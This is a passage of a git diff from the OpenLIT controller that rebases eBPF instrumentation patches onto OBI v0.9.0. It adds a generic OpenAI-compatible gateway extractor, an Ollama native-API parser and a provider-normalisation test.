@@ -19,6 +19,7 @@ var providerNames = map[uint8]string{
10: "vercel_ai",
11: "vertex_ai",
12: "azure_inference",
+ 13: "custom",
// IDs 20-26 are Bedrock regions (assigned dynamically in hosts.go init)
20: "bedrock",
21: "bedrock",
@@ -28,3 +29,10 @@ var providerNames = map[uint8]string{
25: "bedrock",
26: "bedrock",
}
+
+// providerCustom is the single provider ID assigned to every user-configured
+// custom LLM gateway (LiteLLM, vLLM, Ollama, LocalAI, ...). We deliberately do
+// not infer the specific vendor from the port: the workload is surfaced as a
+// "Custom LLM Gateway" either way, and payload extraction uses the generic
+// OpenAI-compatible parser.
+const providerCustom uint8 = 13
diff --git a/openlit-controller/patches/README.md b/openlit-controller/patches/README.md
index 058da9e0..5d5863d3 100644
--- a/openlit-controller/patches/README.md
+++ b/openlit-controller/patches/README.md
@@ -1,26 +1,48 @@
# OBI Patches
-This directory contains patch files applied on top of the upstream OBI (OpenTelemetry eBPF Instrumentation) v0.8.0 during Docker build.
-
-## Patch Files
-
-- `config.patch` - Adds config types and flags for new GenAI providers (Cohere, Mistral, Groq, Deepseek, Together, Fireworks, Ollama, Azure OpenAI)
-- `http_transform.patch` - Adds hostname routing for OpenAI-compatible providers in the HTTP transform layer
-- `span.patch` - Adds span subtypes, VendorCohere struct, and getter functions for new providers
-
-## Creating Patches
-
-After modifying files in `.obi-src/`, generate patches:
+This directory contains patch files applied on top of upstream OBI (OpenTelemetry
+eBPF Instrumentation) **v0.9.0** during the Docker build (see the obi-builder stage
+in `../Dockerfile`).
+
+## What we add
+
+OBI v0.9.0 natively supports OpenAI, Anthropic, Gemini, Qwen, Bedrock, MCP,
+Embedding, and Rerank. On top of that we add two GenAI extractors:
+
+- **`custom`** — a generic OpenAI-compatible gateway extractor (LiteLLM, vLLM,
+ LocalAI, OpenRouter, Ollama's `/v1/` endpoint, ...). It reuses upstream
+ `OpenAISpan` and is safe to enable broadly because `OpenAISpan` returns
+ `ok=false` on non-OpenAI-shaped bodies. Spans report no provider name (the
+ backend vendor behind the gateway is unknown); discovery (IP+port) is the
+ authoritative attribution.
+- **`ollama`** — a parser for Ollama's NATIVE API (`/api/chat`, `/api/generate`),
+ whose JSON schema differs from OpenAI (`prompt_eval_count`/`eval_count`,
+ `message.content`/`response`). Path-gated so it never matches the `/v1/` path.
+
+## Files
+
+- `providers/ollama/ollama.go` (in the repo root, NOT a patch) — the standalone
+ `OllamaSpan` parser. The Dockerfile copies `providers/*/*.go` into
+ `pkg/ebpf/common/http/` before applying patches.
+- `config.patch` — adds `CustomConfig` + `OllamaConfig` to `GenAIConfig` and ORs
+ them into `GenAIConfig.Enabled()`.
+- `span.patch` — adds `HTTPSubtypeCustom` (15) + `HTTPSubtypeOllama` (16), extends
+ `IsGenAISubtype`, adds the `Custom *VendorOpenAI` and `Ollama *VendorOllama`
+ fields + the `VendorOllama` struct, and extends the GenAI getters.
+- `http_transform.patch` — adds the routing branches (`OllamaSpan` for the native
+ path; `OpenAISpan` reused for `custom`, placed last) in `http_transform.go`, and
+ the per-subtype trace-attribute emission in `tracesgen.go`.
+
+## Re-creating / rebasing patches (e.g. for the next OBI version)
```bash
-cd .obi-src
-git diff > ../patches/<name>.patch
+git clone --depth 1 --branch <version> <OBI_REPO> /tmp/obi-rebase
+cd /tmp/obi-rebase
+cp <repo>/openlit-controller/providers/ollama/ollama.go pkg/ebpf/common/http/
+# edit the four files, then:
+git diff -- pkg/config/payload_extraction.go > <repo>/openlit-controller/patches/config.patch
+git diff -- pkg/appolly/app/request/span.go > <repo>/openlit-controller/patches/span.patch
+git diff -- pkg/ebpf/common/http_transform.go pkg/export/otel/tracesgen/tracesgen.go > <repo>/openlit-controller/patches/http_transform.patch
```
-## Applying Patches
-
-Patches are applied automatically by `make vendor-providers`. To apply manually:
-
-```bash
-cd .obi-src && git apply ../patches/<name>.patch
-```
+Verify on a clean checkout: copy `ollama.go` in, then `git apply --check patches/*.patch`.
diff --git a/openlit-controller/patches/config.patch b/openlit-controller/patches/config.patch
index 9f941086..3ff91ac1 100644
--- a/openlit-controller/patches/config.patch
+++ b/openlit-controller/patches/config.patch
@@ -1,76 +1,48 @@
diff --git a/pkg/config/payload_extraction.go b/pkg/config/payload_extraction.go
-index 95eb0ad..8367548 100644
+index 1b67d5c..339fa8a 100644
--- a/pkg/config/payload_extraction.go
+++ b/pkg/config/payload_extraction.go
-@@ -77,11 +77,31 @@ type GenAIConfig struct {
- Gemini GeminiConfig `yaml:"gemini"`
- // AWS Bedrock payload extraction and parsing
- Bedrock BedrockConfig `yaml:"bedrock"`
-+ // Cohere payload extraction and parsing
-+ Cohere CohereConfig `yaml:"cohere"`
-+ // Mistral (OpenAI-compatible) payload extraction and parsing
-+ Mistral MistralConfig `yaml:"mistral"`
-+ // Groq (OpenAI-compatible) payload extraction and parsing
-+ Groq GroqConfig `yaml:"groq"`
-+ // Deepseek (OpenAI-compatible) payload extraction and parsing
-+ Deepseek DeepseekConfig `yaml:"deepseek"`
-+ // Together (OpenAI-compatible) payload extraction and parsing
-+ Together TogetherConfig `yaml:"together"`
-+ // Fireworks (OpenAI-compatible) payload extraction and parsing
-+ Fireworks FireworksConfig `yaml:"fireworks"`
-+ // Ollama payload extraction and parsing
+@@ -85,13 +85,20 @@ type GenAIConfig struct {
+ Embedding EmbeddingProviderConfig `yaml:"embedding"`
+ // Rerank payload extraction and parsing (Cohere, Jina AI, Voyage AI, etc.)
+ Rerank RerankConfig `yaml:"rerank"`
++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, OpenRouter, ...)
++ // payload extraction and parsing. Reuses the OpenAI parser; safe to enable
++ // broadly because OpenAISpan returns ok=false on non-OpenAI-shaped bodies.
++ Custom CustomConfig `yaml:"custom"`
++ // Ollama native API (/api/chat, /api/generate) payload extraction and parsing.
+ Ollama OllamaConfig `yaml:"ollama"`
-+ // Azure OpenAI (OpenAI-compatible) payload extraction and parsing
-+ AzureOpenAI AzureOpenAIConfig `yaml:"azure_openai"`
}
func (g *GenAIConfig) Enabled() bool {
return g.Anthropic.Enabled || g.OpenAI.Enabled ||
-- g.Gemini.Enabled || g.Bedrock.Enabled
-+ g.Gemini.Enabled || g.Bedrock.Enabled ||
-+ g.Cohere.Enabled || g.Mistral.Enabled ||
-+ g.Groq.Enabled || g.Deepseek.Enabled ||
-+ g.Together.Enabled || g.Fireworks.Enabled ||
-+ g.Ollama.Enabled || g.AzureOpenAI.Enabled
+ g.Gemini.Enabled || g.Qwen.Enabled || g.Bedrock.Enabled ||
+ g.MCP.Enabled ||
+- g.Embedding.Enabled || g.Rerank.Enabled
++ g.Embedding.Enabled || g.Rerank.Enabled ||
++ g.Custom.Enabled || g.Ollama.Enabled
}
type OpenAIConfig struct {
-@@ -104,6 +124,38 @@ type BedrockConfig struct {
- Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_BEDROCK_ENABLED" validate:"boolean"`
+@@ -129,6 +136,21 @@ type EmbeddingProviderConfig struct {
+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_GENAI_EMBEDDING_ENABLED" validate:"boolean"`
}
-+type CohereConfig struct {
-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_COHERE_ENABLED" validate:"boolean"`
-+}
-+
-+type MistralConfig struct {
-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_MISTRAL_ENABLED" validate:"boolean"`
-+}
-+
-+type GroqConfig struct {
-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_GROQ_ENABLED" validate:"boolean"`
-+}
-+
-+type DeepseekConfig struct {
-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_DEEPSEEK_ENABLED" validate:"boolean"`
-+}
-+
-+type TogetherConfig struct {
-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_TOGETHER_ENABLED" validate:"boolean"`
-+}
-+
-+type FireworksConfig struct {
-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_FIREWORKS_ENABLED" validate:"boolean"`
++type CustomConfig struct {
++ // Enable custom OpenAI-compatible gateway payload extraction and parsing
++ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_CUSTOM_ENABLED" validate:"boolean"`
++ // Hosts is the set of configured gateway destinations ("host:port" or
++ // "host"). A captured request is parsed as a custom GenAI span only when its
++ // destination matches one of these, so unrelated traffic is never tagged.
++ // Populated by the controller from the dashboard's custom_llm_hosts.
++ Hosts []string `yaml:"hosts" env:"OTEL_EBPF_HTTP_CUSTOM_HOSTS"`
+}
+
+type OllamaConfig struct {
++ // Enable Ollama native API payload extraction and parsing
+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_OLLAMA_ENABLED" validate:"boolean"`
+}
+
-+type AzureOpenAIConfig struct {
-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_AZURE_OPENAI_ENABLED" validate:"boolean"`
-+}
-+
- type JSONRPCConfig struct {
- // Enable JSON-RPC payload extraction and parsing
- Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_JSONRPC_ENABLED" validate:"boolean"`
+ type RerankConfig struct {
+ // Enable Rerank (Cohere, Jina AI, Voyage AI, etc.) payload extraction and parsing
+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_RERANK_ENABLED" validate:"boolean"`
diff --git a/openlit-controller/patches/http_transform.patch b/openlit-controller/patches/http_transform.patch
index ed0a00b0..513c266b 100644
--- a/openlit-controller/patches/http_transform.patch
+++ b/openlit-controller/patches/http_transform.patch
@@ -1,59 +1,113 @@
diff --git a/pkg/ebpf/common/http_transform.go b/pkg/ebpf/common/http_transform.go
-index a79d1d7..c6d4f88 100644
+index 7fe38be..3ee401e 100644
--- a/pkg/ebpf/common/http_transform.go
+++ b/pkg/ebpf/common/http_transform.go
-@@ -197,6 +197,54 @@ func httpRequestResponseToSpan(parseCtx *EBPFParseContext, event *BPFHTTPInfo, r
+@@ -222,6 +222,28 @@ func httpRequestResponseToSpan(parseCtx *EBPFParseContext, event *BPFHTTPInfo, r
}
}
-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Groq.Enabled {
-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)
++ // Ollama native API (/api/chat, /api/generate). Path-gated inside OllamaSpan
++ // so it only matches the native endpoints, never the /v1/ OpenAI-compat path.
++ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Ollama.Enabled {
++ span, ok := ebpfhttp.OllamaSpan(&httpSpan, req, resp)
+ if ok {
-+ span.SubType = request.HTTPSubtypeGroq
++ span.SubType = request.HTTPSubtypeOllama
+ return span
+ }
+ }
+
-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Deepseek.Enabled {
-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)
++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, ...). Placed LAST
++ // among the GenAI branches so the named providers above win when their flag
++ // is also on. Gated on the request's destination matching one of the
++ // configured gateway hosts (dashboard custom_llm_hosts), so it only ever
++ // fires for traffic to a known gateway and never disturbs other detection.
++ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Custom.Enabled {
++ span, ok := ebpfhttp.CustomSpan(&httpSpan, parseCtx.payloadExtraction.HTTP.GenAI.Custom.Hosts, req, resp)
+ if ok {
-+ span.SubType = request.HTTPSubtypeDeepseek
+ return span
+ }
+ }
+
-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Together.Enabled {
-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)
-+ if ok {
-+ span.SubType = request.HTTPSubtypeTogether
-+ return span
-+ }
-+ }
-+
-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Fireworks.Enabled {
-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)
-+ if ok {
-+ span.SubType = request.HTTPSubtypeFireworks
-+ return span
-+ }
-+ }
-+
-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.AzureOpenAI.Enabled {
-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)
-+ if ok {
-+ span.SubType = request.HTTPSubtypeAzureOpenAI
-+ return span
+ // Parse JSON-RPC once and reuse for both MCP and plain JSON-RPC
+ // detection, since MCP is a protocol layer on top of JSON-RPC.
+ if parseCtx != nil && (parseCtx.payloadExtraction.HTTP.GenAI.MCP.Enabled || parseCtx.payloadExtraction.HTTP.JSONRPC.Enabled) {
+diff --git a/pkg/export/otel/tracesgen/tracesgen.go b/pkg/export/otel/tracesgen/tracesgen.go
+index e5ceb57..fbb4ee7 100644
+--- a/pkg/export/otel/tracesgen/tracesgen.go
++++ b/pkg/export/otel/tracesgen/tracesgen.go
+@@ -593,6 +593,75 @@ func TraceAttributesSelector(span *request.Span, optionalAttrs map[attr.Name]str
+ }
+ }
+
++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, ...). Reuses
++ // the OpenAI-shaped VendorOpenAI payload but emits no provider name, since
++ // the backend vendor behind the gateway is unknown.
++ if span.SubType == request.HTTPSubtypeCustom && span.GenAI != nil && span.GenAI.Custom != nil {
++ ai := span.GenAI.Custom
++ // gen_ai.provider.name is intentionally a generic marker: the actual
++ // backend vendor behind a custom gateway is unknown. Discovery
++ // (IP+port) remains the authoritative attribution.
++ attrs = append(attrs, semconv.GenAIProviderNameKey.String("custom"))
++ attrs = append(attrs, semconv.GenAIOperationNameKey.String(ai.OperationName))
++ attrs = append(attrs, semconv.GenAIResponseID(ai.ID))
++ attrs = append(attrs, semconv.GenAIRequestModel(ai.Request.Model))
++ attrs = append(attrs, semconv.GenAIResponseModel(ai.ResponseModel))
++ if ai.FrequencyPenalty > 0.0 {
++ attrs = append(attrs, semconv.GenAIRequestFrequencyPenalty(ai.FrequencyPenalty))
++ }
++ if ai.Temperature > 0.0 {
++ attrs = append(attrs, semconv.GenAIRequestTemperature(ai.Temperature))
++ } else if ai.Request.Temperature != 0 {
++ attrs = append(attrs, semconv.GenAIRequestTemperature(ai.Request.Temperature))
++ }
++ if ai.TopP > 0.0 {
++ attrs = append(attrs, semconv.GenAIRequestTopP(ai.TopP))
++ }
++ attrs = append(attrs, semconv.GenAIUsageInputTokens(ai.Usage.GetInputTokens()))
++ attrs = append(attrs, semconv.GenAIUsageOutputTokens(ai.Usage.GetOutputTokens()))
++ // Messages are emitted in the GenAI semantic-conventions structure
++ // (role + parts[]), normalized by the custom parser — NOT the raw
++ // OpenAI shape returned by the VendorOpenAI getters.
++ if _, ok := optionalAttrs[attr.GenAIInput]; ok && span.GenAI.CustomInputMessages != "" {
++ attrs = append(attrs, semconv.GenAIInputMessagesKey.String(span.GenAI.CustomInputMessages))
++ }
++ if _, ok := optionalAttrs[attr.GenAIOutput]; ok && span.GenAI.CustomOutputMessages != "" {
++ attrs = append(attrs, semconv.GenAIOutputMessagesKey.String(span.GenAI.CustomOutputMessages))
++ }
++ if _, ok := optionalAttrs[attr.GenAIInstructions]; ok && span.GenAI.CustomSystemInstructions != "" {
++ attrs = append(attrs, semconv.GenAISystemInstructionsKey.String(span.GenAI.CustomSystemInstructions))
++ }
++ if _, ok := optionalAttrs[attr.GenAIMetadata]; ok {
++ if len(ai.Metadata) > 0 {
++ attrs = append(attrs, request.Metadata(string(ai.Metadata)))
++ }
++ }
++ if ai.Error.Type != "" {
++ attrs = append(attrs, semconv.ErrorTypeKey.String(ai.Error.Type))
++ attrs = append(attrs, semconv.ErrorMessage(ai.Error.Message))
++ }
++ if ai.OperationName == request.EmbeddingOperationName && ai.Request.Dimensions > 0 {
++ attrs = append(attrs, attribute.Int("gen_ai.request.embedding.dimensions", ai.Request.Dimensions))
++ }
+ }
-+ }
+
-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Mistral.Enabled {
-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)
-+ if ok {
-+ span.SubType = request.HTTPSubtypeMistral
-+ return span
++ // Ollama native API (/api/chat, /api/generate).
++ if span.SubType == request.HTTPSubtypeOllama && span.GenAI != nil && span.GenAI.Ollama != nil {
++ ai := span.GenAI.Ollama
++ attrs = append(attrs, semconv.GenAIProviderNameKey.String("ollama"))
++ attrs = append(attrs, semconv.GenAIOperationNameKey.String(ai.Operation))
++ attrs = append(attrs, semconv.GenAIRequestModel(ai.Model))
++ attrs = append(attrs, semconv.GenAIResponseModel(ai.Model))
++ attrs = append(attrs, semconv.GenAIUsageInputTokens(ai.InputTokens))
++ attrs = append(attrs, semconv.GenAIUsageOutputTokens(ai.OutputTokens))
++ if _, ok := optionalAttrs[attr.GenAIInput]; ok {
++ attrs = append(attrs, semconv.GenAIInputMessagesKey.String(ai.Input))
++ }
++ if _, ok := optionalAttrs[attr.GenAIOutput]; ok {
++ attrs = append(attrs, semconv.GenAIOutputMessagesKey.String(ai.Output))
++ }
+ }
-+ }
+
- if parseCtx != nil && parseCtx.payloadExtraction.HTTP.JSONRPC.Enabled {
- span, ok := ebpfhttp.JSONRPCSpan(&httpSpan, req, resp)
- if ok {
+ if span.SubType == request.HTTPSubtypeAnthropic && span.GenAI != nil && span.GenAI.Anthropic != nil {
+ ai := span.GenAI.Anthropic
+ attrs = append(attrs, semconv.GenAIProviderNameAnthropic)
diff --git a/openlit-controller/patches/span.patch b/openlit-controller/patches/span.patch
index 059817cc..3297429c 100644
--- a/openlit-controller/patches/span.patch
+++ b/openlit-controller/patches/span.patch
@@ -1,127 +1,166 @@
diff --git a/pkg/appolly/app/request/span.go b/pkg/appolly/app/request/span.go
-index d7ccb12..7a73a13 100644
+index 54776da..77aa795 100644
--- a/pkg/appolly/app/request/span.go
+++ b/pkg/appolly/app/request/span.go
-@@ -97,13 +97,29 @@ const (
- HTTPSubtypeGemini = 8 // http + Google AI Studio (Gemini)
- HTTPSubtypeJSONRPC = 9 // http + JSON-RPC
- HTTPSubtypeAWSBedrock = 10 // http + AWS Bedrock
-+ HTTPSubtypeCohere = 11 // http + Cohere
-+ HTTPSubtypeMistral = 12 // http + Mistral (OpenAI-compatible)
-+ HTTPSubtypeGroq = 13 // http + Groq (OpenAI-compatible)
-+ HTTPSubtypeDeepseek = 14 // http + Deepseek (OpenAI-compatible)
-+ HTTPSubtypeTogether = 15 // http + Together (OpenAI-compatible)
-+ HTTPSubtypeFireworks = 16 // http + Fireworks (OpenAI-compatible)
-+ HTTPSubtypeOllama = 17 // http + Ollama
-+ HTTPSubtypeAzureOpenAI = 18 // http + Azure OpenAI (OpenAI-compatible)
+@@ -105,6 +105,8 @@ const (
+ HTTPSubtypeMCP = 12 // http + Model Context Protocol
+ HTTPSubtypeEmbedding = 13 // http + generic embedding provider (Voyage, Cohere, Jina)
+ HTTPSubtypeRerank = 14 // http + Rerank (Cohere, Jina, Voyage, etc.)
++ HTTPSubtypeCustom = 15 // http + custom OpenAI-compatible gateway (LiteLLM, vLLM, ...)
++ HTTPSubtypeOllama = 16 // http + Ollama native API
)
func IsGenAISubtype(subtype int) bool {
- return subtype == HTTPSubtypeOpenAI ||
- subtype == HTTPSubtypeAnthropic ||
- subtype == HTTPSubtypeGemini ||
-- subtype == HTTPSubtypeAWSBedrock
-+ subtype == HTTPSubtypeAWSBedrock ||
-+ subtype == HTTPSubtypeCohere ||
-+ subtype == HTTPSubtypeMistral ||
-+ subtype == HTTPSubtypeGroq ||
-+ subtype == HTTPSubtypeDeepseek ||
-+ subtype == HTTPSubtypeTogether ||
-+ subtype == HTTPSubtypeFireworks ||
-+ subtype == HTTPSubtypeOllama ||
-+ subtype == HTTPSubtypeAzureOpenAI
+@@ -115,7 +117,9 @@ func IsGenAISubtype(subtype int) bool {
+ subtype == HTTPSubtypeAWSBedrock ||
+ subtype == HTTPSubtypeMCP ||
+ subtype == HTTPSubtypeEmbedding ||
+- subtype == HTTPSubtypeRerank
++ subtype == HTTPSubtypeRerank ||
++ subtype == HTTPSubtypeCustom ||
++ subtype == HTTPSubtypeOllama
}
//nolint:cyclop
-@@ -253,6 +269,14 @@ type GenAI struct {
- Anthropic *VendorAnthropic
- Gemini *VendorGemini
- Bedrock *VendorBedrock
-+ Cohere *VendorCohere
+@@ -282,6 +286,33 @@ type GenAI struct {
+ MCP *MCPCall
+ Embedding *VendorEmbedding
+ Rerank *VendorRerank
++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, ...). Reuses
++ // VendorOpenAI for tokens/model/params because the wire format is
++ // OpenAI-compatible. The message bodies, however, are normalized by the
++ // custom parser into the GenAI semconv role/parts structure and carried in
++ // the Custom*Messages fields below (the raw VendorOpenAI getters return the
++ // non-normalized OpenAI shape).
++ Custom *VendorOpenAI
++ CustomInputMessages string
++ CustomOutputMessages string
++ CustomSystemInstructions string
++ // Ollama native API (/api/chat, /api/generate). Distinct schema, own vendor.
++ Ollama *VendorOllama
+}
+
-+type VendorCohere struct {
-+ Model string `json:"model"`
-+ InputTokens int `json:"input_tokens"`
-+ OutputTokens int `json:"output_tokens"`
-+ Operation string `json:"operation"`
++// VendorOllama holds fields parsed from Ollama's native API responses
++// (/api/chat, /api/generate), which differ from the OpenAI wire format:
++// tokens are prompt_eval_count/eval_count and output text is message.content
++// or response.
++type VendorOllama struct {
++ Model string
++ InputTokens int
++ OutputTokens int
++ Operation string
++ // Input/Output carry the serialized request messages and response content
++ // for the gen_ai.{input,output}.messages span attributes.
++ Input string
++ Output string
}
type OpenAIUsage struct {
-@@ -1494,6 +1518,10 @@ func (s *Span) GenAIInputTokens() int {
- return s.GenAI.Bedrock.Output.InputTokens
+@@ -1490,6 +1521,23 @@ func (s *Span) TraceName() string {
+ }
+ }
+
++ // Custom OpenAI-compatible gateway: name spans "<operation> <model>"
++ // (e.g. "chat gpt-4o-mini"), matching the OpenAI convention. Custom
++ // reuses VendorOpenAI, so the logic mirrors the OpenAI case above.
++ if s.Type == EventTypeHTTPClient && s.SubType == HTTPSubtypeCustom && s.GenAI != nil && s.GenAI.Custom != nil {
++ name := s.GenAI.Custom.OperationName
++ if name != "" {
++ switch {
++ case s.GenAI.Custom.Request.Model != "":
++ return name + " " + s.GenAI.Custom.Request.Model
++ case s.GenAI.Custom.ResponseModel != "":
++ return name + " " + s.GenAI.Custom.ResponseModel
++ default:
++ return name
++ }
++ }
++ }
++
+ if s.Type == EventTypeHTTPClient && s.SubType == HTTPSubtypeAnthropic && s.GenAI != nil && s.GenAI.Anthropic != nil {
+ name := s.GenAI.Anthropic.Output.Type
+ if name != "" {
+@@ -1819,6 +1867,14 @@ func (s *Span) GenAIInputTokens() int {
+ return s.GenAI.Rerank.Output.GetTotalTokens()
}
-+ if s.GenAI.Cohere != nil {
-+ return s.GenAI.Cohere.InputTokens
++ if s.GenAI.Custom != nil {
++ return s.GenAI.Custom.Usage.GetInputTokens()
++ }
++
++ if s.GenAI.Ollama != nil {
++ return s.GenAI.Ollama.InputTokens
+ }
+
return 0
}
-@@ -1518,6 +1546,10 @@ func (s *Span) GenAIOutputTokens() int {
- return s.GenAI.Bedrock.Output.OutputTokens
+@@ -1851,6 +1907,14 @@ func (s *Span) GenAIOutputTokens() int {
+ return s.GenAI.Embedding.GetOutputTokens()
}
-+ if s.GenAI.Cohere != nil {
-+ return s.GenAI.Cohere.OutputTokens
++ if s.GenAI.Custom != nil {
++ return s.GenAI.Custom.Usage.GetOutputTokens()
++ }
++
++ if s.GenAI.Ollama != nil {
++ return s.GenAI.Ollama.OutputTokens
+ }
+
return 0
}
-@@ -1537,6 +1569,9 @@ func (s *Span) GenAIOperationName() string {
- if s.GenAI.Bedrock != nil {
- return "invoke_model"
+@@ -1879,6 +1943,12 @@ func (s *Span) GenAIOperationName() string {
+ if s.GenAI.Rerank != nil {
+ return "rerank"
}
-+ if s.GenAI.Cohere != nil {
-+ return s.GenAI.Cohere.Operation
++ if s.GenAI.Custom != nil {
++ return s.GenAI.Custom.OperationName
++ }
++ if s.GenAI.Ollama != nil {
++ return s.GenAI.Ollama.Operation
+ }
return ""
}
-@@ -1556,6 +1591,25 @@ func (s *Span) GenAIProviderName() string {
- if s.GenAI.Bedrock != nil {
- return semconv.GenAIProviderNameAWSBedrock.Value.AsString()
+@@ -1907,6 +1977,12 @@ func (s *Span) GenAIProviderName() string {
+ if s.GenAI.Rerank != nil {
+ return s.GenAI.Rerank.Provider
}
-+ if s.GenAI.Cohere != nil {
-+ return "cohere"
-+ }
-+ switch s.SubType {
-+ case HTTPSubtypeGroq:
-+ return "groq"
-+ case HTTPSubtypeDeepseek:
-+ return "deepseek"
-+ case HTTPSubtypeTogether:
-+ return "together"
-+ case HTTPSubtypeFireworks:
-+ return "fireworks"
-+ case HTTPSubtypeMistral:
-+ return "mistral"
-+ case HTTPSubtypeOllama:
++ if s.GenAI.Ollama != nil {
+ return "ollama"
-+ case HTTPSubtypeAzureOpenAI:
-+ return "azure.openai"
+ }
++ // Custom gateways intentionally report no provider name: the wire format is
++ // OpenAI-compatible but the actual backend vendor is unknown. Discovery
++ // (IP+port) remains the authoritative attribution.
return ""
}
-@@ -1575,6 +1629,9 @@ func (s *Span) GenAIRequestModel() string {
- if s.GenAI.Bedrock != nil {
- return s.GenAI.Bedrock.Model
+@@ -1938,6 +2014,12 @@ func (s *Span) GenAIRequestModel() string {
+ if s.GenAI.Rerank != nil {
+ return s.GenAI.Rerank.Input.Model
}
-+ if s.GenAI.Cohere != nil {
-+ return s.GenAI.Cohere.Model
++ if s.GenAI.Custom != nil {
++ return s.GenAI.Custom.Request.Model
++ }
++ if s.GenAI.Ollama != nil {
++ return s.GenAI.Ollama.Model
+ }
return ""
}
-@@ -1597,5 +1654,8 @@ func (s *Span) GenAIResponseModel() string {
- if s.GenAI.Bedrock != nil {
- return s.GenAI.Bedrock.Model
+@@ -1978,5 +2060,14 @@ func (s *Span) GenAIResponseModel() string {
+ }
+ return s.GenAI.Rerank.Input.Model
}
-+ if s.GenAI.Cohere != nil {
-+ return s.GenAI.Cohere.Model
++ if s.GenAI.Custom != nil {
++ if s.GenAI.Custom.ResponseModel != "" {
++ return s.GenAI.Custom.ResponseModel
++ }
++ return s.GenAI.Custom.Request.Model
++ }
++ if s.GenAI.Ollama != nil {
++ return s.GenAI.Ollama.Model
+ }
return ""
}
diff --git a/src/client/src/__tests__/lib/platform/agents/provider-normalize.test.ts b/src/client/src/__tests__/lib/platform/agents/provider-normalize.test.ts
new file mode 100644
index 00000000..68308056
--- /dev/null
+++ b/src/client/src/__tests__/lib/platform/agents/provider-normalize.test.ts
@@ -0,0 +1,58 @@
+import {
+ canonicalProvider,
+ mergeProviders,
+} from "@/lib/platform/agents/provider-normalize";
+
+describe("canonicalProvider", () => {
+ it("maps OTel semconv names to short controller names", () => {
+ expect(canonicalProvider("gcp.gemini")).toBe("gemini");
+ expect(canonicalProvider("aws.bedrock")).toBe("bedrock");
+ expect(canonicalProvider("azure.ai.openai")).toBe("azure_openai");
+ });
+
+ it("passes through already-canonical names", () => {
+ expect(canonicalProvider("openai")).toBe("openai");
+ expect(canonicalProvider("gemini")).toBe("gemini");
+ expect(canonicalProvider("custom")).toBe("custom");
+ });
+
+ it("is case- and whitespace-insensitive", () => {
+ expect(canonicalProvider(" GCP.Gemini ")).toBe("gemini");
+ });
+
+ it("leaves unknown providers (frameworks) untouched", () => {
+ expect(canonicalProvider("crewai")).toBe("crewai");
+ expect(canonicalProvider("langgraph")).toBe("langgraph");
+ });
+});
+
+describe("mergeProviders", () => {
+ it("collapses the controller vs semconv alias for the same provider", () => {
+ // The exact bug: controller reports "gemini", traces report "gcp.gemini".
+ expect(mergeProviders(["gcp.gemini"], ["gemini"])).toEqual(["gemini"]);
+ });
+
+ it("unions distinct providers and preserves first-seen order", () => {
+ expect(mergeProviders(["gcp.gemini"], ["openai"])).toEqual([
+ "gemini",
+ "openai",
+ ]);
+ });
+
+ it("keeps a framework + its underlying LLM as two entries", () => {
+ // crewai (framework) + openai (LLM) are genuinely different — not merged.
+ expect(mergeProviders(["crewai"], ["openai"])).toEqual([
+ "crewai",
+ "openai",
+ ]);
+ });
+
+ it("handles empty/undefined lists and falsy entries", () => {
+ expect(mergeProviders(undefined, [])).toEqual([]);
+ expect(mergeProviders(["", "openai"], undefined)).toEqual(["openai"]);
+ });
+
+ it("dedups within a single list too", () => {
+ expect(mergeProviders(["gemini", "gcp.gemini"])).toEqual(["gemini"]);
+ });
+});
diff --git a/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsx b/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsx
index 1751e589..d1d9d1bb 100644
--- a/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsx
+++ b/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsx
@@ -41,22 +41,51 @@ const SUPPORTED_PROVIDERS: Array<keyof PayloadExtractionConfig> = [
"openai",
"anthropic",
"gemini",
+ "qwen",
+ "bedrock",
+ "custom",
+ "ollama",
+];
+
+// OpenAI-wire-compatible SaaS vendors discovery may report. They share the
+// single OpenAI extractor (mirrors openAICompatible in the controller's obi.go).
+const OPENAI_COMPATIBLE_PROVIDERS = new Set([
+ "openai",
"cohere",
"mistral",
"groq",
"deepseek",
"together",
"fireworks",
+ "azure_inference",
+ "azure_openai",
"vercel_ai",
"vertex_ai",
- "azure_inference",
- "bedrock",
-];
+]);
+
+// providerToExtractor maps a discovered provider string to the payload-extraction
+// toggle that enables it, or null if it has no extractor.
